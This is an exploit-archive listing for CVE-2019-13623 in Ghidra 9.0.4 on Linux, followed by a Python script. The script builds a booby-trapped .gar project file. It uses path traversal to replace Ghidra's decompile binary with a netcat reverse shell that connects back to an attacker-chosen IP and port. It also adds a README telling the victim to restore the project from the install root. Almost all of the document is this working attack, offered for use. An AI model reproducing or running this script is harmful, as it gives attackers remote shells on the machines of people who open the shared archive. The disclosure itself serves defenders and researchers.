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Ghidra (Linux) 9.0.4 Arbitrary Code Execution

Ghidra (Linux) 9.0.4 Arbitrary Code Execution
Posted Aug 12, 2019
Authored by Etienne Lacoche

Ghidra (Linux) version 9.0.4 suffers from a .gar related arbitrary code execution vulnerability.

tags | exploit, arbitrary, code execution
systems | linux
advisories | CVE-2019-13623
MD5 | 6039db6bbe14b8730cf0f7b177a56ef2

Ghidra (Linux) 9.0.4 Arbitrary Code Execution

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import os
import inspect
import argparse
import shutil
from shutil import copyfile

print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()

if args.ip and args.port and args.file:

rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
os.system("chmod +x decompile")
copyfile("decompile",path)
copyfile(args.file,rootDirURL+"/"+"project.gar")
os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")
os.system("zip -q project.zip project.gar")
os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
os.system("rm project.gar")
print("You can now share project.zip and start your local netcat listener.")
print("")
print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
print("root path for payload execution.")
print("")

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